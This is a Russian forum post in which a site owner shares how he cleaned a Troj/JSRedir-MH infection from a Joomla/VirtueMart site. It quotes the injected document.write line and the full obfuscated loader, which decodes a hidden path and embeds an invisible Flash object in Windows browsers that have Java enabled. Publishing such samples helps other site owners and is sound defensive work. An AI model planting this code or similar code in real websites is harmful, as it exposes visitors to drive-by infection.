Medialt

М.б. поможет кому:

вылечился недавно от Troj/JSRedir-MH (так со ссылкой на sophos его обозвал Яндекс)

сам скрипт лежал в administrator/templates/bluestork/main.js

ссыль на него дописалась последней строкой в components/com_virtuemart/assets/js/vmsite.js

Собственно строка:

;document.write("<scr"+"ipt src='/administrator/templates/bluestork/main.js'><"+"/script>");

код самого скрипта:

function addNewObject () {

	try {

		var ua = navigator.userAgent.toLowerCase();

		if ((ua.indexOf("chrome") == -1 && ua.indexOf("win") != -1) && navigator.javaEnabled()) {

			var dfgvkip=["\x4a\x59mX\x2f\x61\x64\x6d\x69\x6e\x69strato\x72\x2f\x68\x65lp/en\x2d\x47\x42\x2f\x43\x6f\x6dpon\x65\x6e\x74\x73_Ban\x6e\x65\x72\x73\x5f\x54\x72\x61ck","v\x64\x7a\x6afE\x2e\x73\x77\x6f\x46\x52I\x51","R\x68\x59U\x46e\x47\x66Ew\x76\x68\x52\x6f\x53\x58Z\x42j\x65d","s\x75\x62\x73\x74r","ujl\x73\x43\x53\x64\x6ckb\x75G"];var counter = dfgvkip[0][dfgvkip[79-76]](92-13-75,5+45) + dfgvkip[43+38-77][dfgvkip[79-76]](-44+90-94+51,48+56-75-28) + dfgvkip[-87+8-82+162][dfgvkip[79-76]](-71-22+99,20-50-78+111) + dfgvkip[-40+42][dfgvkip[79-76]](15-8,-8+93+1-85);

			var div = document.createElement('div');

			div.innerHTML  = '<object id="dummy" name="dummy" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="1" height="1">';

			div.innerHTML += '<param name="allowScriptAccess" value="always" \/>';

			div.innerHTML += '<param name="movie" value="'+ counter +'" \/>';

			div.innerHTML += '<embed id="dummy2" name="dummy2" src="'+ counter +'" width="1" height="1" name="flash" allowScriptAccess="always" type="application\/x-shockwave-flash" \/>';

			div.innerHTML += '<\/object>';

			div.style.position = 'absolute';

			div.style.left = '-100px';

			div.style.top = '-100px';

			document.body.insertBefore(div, document.body.children[0]);

		}

	} catch (e) {

		if (document.body == undefined || document.body.children[0] == undefined) {

			setTimeout('addNewObject()', 50);

		}

	}

}

addNewObject();